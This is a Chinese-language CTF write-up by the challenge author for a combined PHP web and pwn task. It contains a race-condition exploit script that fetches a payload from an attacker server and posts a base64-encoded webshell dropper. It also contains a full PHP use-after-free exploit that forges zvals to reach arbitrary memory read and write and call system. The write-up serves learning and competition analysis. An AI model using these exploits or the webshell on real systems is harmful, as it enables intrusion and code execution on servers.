有幸作为题目的出题人,强行给晨升大佬的pwn套了一个web

another php共分为两部分,web&pwn

web

源码如下:

<?php
error_reporting(E_ALL);
$firesun_path = '';
class Pwnhub
{
function __wakeup()
{
if (isset($_GET['pwnhub'])=="firesun") {
echo "Hacked by Firesun!";
eval(base64_decode($_POST['pwnhub']));
}
}
}
function pwnhubfile()
{
global $firesun_path;
file_put_contents($firesun_path . '/firesun', serialize($_SESSION));
}
session_start();
register_shutdown_function('pwnhubfile');
function set_context($id)
{
global $_SESSION, $firesun_path;
$firesun_path = '/var/www/data/' . $id;
if (!is_dir($firesun_path)) mkdir($firesun_path);
chdir($firesun_path);
if (!is_file('firesun')) $_SESSION = array(); else $_SESSION = unserialize(file_get_contents('firesun'));
}

function download_image($url)
{
$url = parse_url($origUrl = $url);
if (isset($url['scheme']) && $url['scheme'] == 'http') if ($url['path'] == '/pwnhub.png') {
if (isset($url['query'])) {
die('byebyebye');
}
wget_wrapper($origUrl);
echo "Nice:)";
} else {
echo 'sorry!';
}
}

if (!isset($_SESSION['id'])) {
$sessId = bin2hex(openssl_random_pseudo_bytes(10));
$_SESSION['id'] = $sessId;
} else {
$sessId = $_SESSION['id'];
}
session_write_close();
set_context($sessId);
if (isset($_POST['image'])) {
$p = $_POST['image'];
if (stripos($p, 'php')) {
echo 'wow!!!';
die('byebye');
}
$pq = str_ireplace("php", "", $p);
$pqq = str_ireplace("?", "", $pq);
download_image($pqq);
echo '<img src="pwnhub.jpg" width=184 height=200/>';
} else {
die('no image:(');
}
?>
<!-- pwnhubs0urcec0d3.zip -->

漏洞的关键点其实很明显,就是Pwnhub类中的magic函数中的RCE,但是阅读代码发现,Pwnhub这个类并没有被实例化调用。同时因为pwnhubfile函数的存在,并且$_SESSION[‘id’]是我们不可控的,那么这样就导致了firesun文件的内容都是array()。
于是摆在这里的第一个问题,那就是firesun的内容怎么控制?
在download_image()函数中,封装了一个完全等于wget的函数wget_wrapper,而wegt的版本够低。

if (isset($url['scheme']) && $url['scheme'] == 'http') if ($url['path'] == '/pwnhub.png') {
if (isset($url['query'])) {
die('byebyebye');
}
wget_wrapper($origUrl);
echo "Nice:)";
} else {
echo 'sorry!';
}

而在wget的低版本中存在302的跳转漏洞,也就是如果我们重定向到一个ftp地址的话,服务器就会wget你ftp上的相应文件,而不是最初url的文件。所以,这就意味着,firesun的内容我们是可控的。
于是我们现在只有能够触发下面这个条件就可以实现RCE:

else $_SESSION = unserialize(file_get_contents('firesun'));

其实后面就是一个比较简单的点了,利用race condition,让服务器wget的firesun赶在file_put_contents之前生成,这样也就会导致了Pwnhub类被实例化,从而导致了RCE,给出自己的payload:

#!/usr/bin/env python3
# -*- utf8 -*-
import gevent.pool
import gevent.monkey
import requests
COOKIES = {
'PHPSESSID':'a7labfa9p995hpda8340rasju73'
}
def main():
pool = gevent.pool.Pool(20)
pool.map(do_job, [i for i in range(40)])
def do_job(num):
payload = {'image':'http://150.95.155.106/pwnhub.png',
'pwnhub':'ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UvdmVuLnBocCIsIjw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZShcJF9QT1NUWzEyM10pKTs/PiIpOw=='

}
r = requests.post("http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php?pwnhub=firesun", data=payload, cookies=COOKIES)
print(str(num) + '|' + r.text)
if __name__ == '__main__':
gevent.monkey.patch_socket()
main()

差不多改两三次cookie就OK写入shell:
image.png
至此,web部分结束,拿到shell,但是看了眼phpinfo上的disable_functions:
image.png
貌似没有shell绕过的可能性XD

PWN

拿到webshell之后可以查看phpinfo();, 发现命令执行相关的函数如system,exec,passthru等都被禁用了。 也没有可行的方法寻找flag。
根据php.diff,可以得知修改部分在php的SplFixedArray类中,作者为SplFixedArray新增了序列化与反序列化方法。简单阅读修改部分可以发现bug存在于反序列化过程中:如果php_var_unserialize失败,会调用zval_ptr_dtor减少对应zval的引用计数,从而导致其被释放,造成use-after-free。通过伪造zval可以达到任意地址读写与代码执行。
拿到reverse shell之后,在根目录发现flag.txt,用flag_reader程序可以读出flag。

P.S. :其实本来是想再加上open_basedir的,但是由于我没时间(比较懒),就没有加。加上之后利用方法基本上就和HITCON-CTF2015的Use-after-flee那一题基本一样了。

利用脚本:

<?php

function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function readmem($address, $length)
{
$inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval = ptr2str($address);
$fakezval .= ptr2str($length);
$fakezval .= "\x00\x00\x00\xff";
$fakezval .= "\x06";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"';
$mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';

$data = unserialize($a);
return substr($data[2][2], 0, $length);
}

function parse_libc()
{
$maps = file_get_contents("/proc/self/maps");
preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r);
$result = hexdec($r[1]);
return $result;
}

$libc = parse_libc();
echo "libc_base = ".$libc."\n";
$system = ptr2str($libc + 0x46590);
$bss = $libc + 0x3C0000;
/*
$array = array();
for($i = 0;$i<10;$i+=2) {
$array[$i] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}

FOR($i=0;$i<10;$i++) {
$array[$i] = $i;
}
*/
$inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval = ptr2str(0);
$fakezval .= ptr2str(0x7fffffff);
$fakezval .= "\x01\x00\x00\x00";
$fakezval .= "\x06";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"';
$mid = 'x:7;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';i:5;?:5;';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data = unserialize($a);
var_dump($data);

echo bin2hex($data[5]);

/* avoid calling free */
$inner1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval1 = ptr2str($bss);
$fakezval1 .= ptr2str(8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval1).':"'.$fakezval1.'"';
$mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner1).':{'.$inner1.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data1 = unserialize($a);
$y = $data1[2][2];
$y[0] = $system[0];
$y[1] = $system[1];
$y[2] = $system[2];
$y[3] = $system[3];
$y[4] = $system[4];
$y[5] = $system[5];
$y[6] = $system[6];
$y[7] = $system[7];

file_put_contents("/tmp/a", "bash -c 'echo 123 > /tmp/hello'");

$inner_1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval_1 = "sh /*/a;";
$fakezval_1 .= ptr2str($bss-8);
$fakezval_1 .= "\x01\x00\x00\x00";
$fakezval_1 .= "\x05";
$fakezval_1 .= "\x00";
$fakezval_1 .= "\x00\x00";
$inner_2 = 's:'.strlen($fakezval_1).':"'.$fakezval_1.'"';
$mid_1 = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner_1).':{'.$inner_1.'}i:3;'.$inner_2.';i:4;'.$inner_2.';i:5;'.$inner_2.';';
$a_1 = 'C:13:"SplFixedArray":'.strlen($mid_1).':{'.$mid_1.'}';
$data_8 = unserialize($a_1);
$data_8[2][2] = 1;

echo "Done!\n";
?>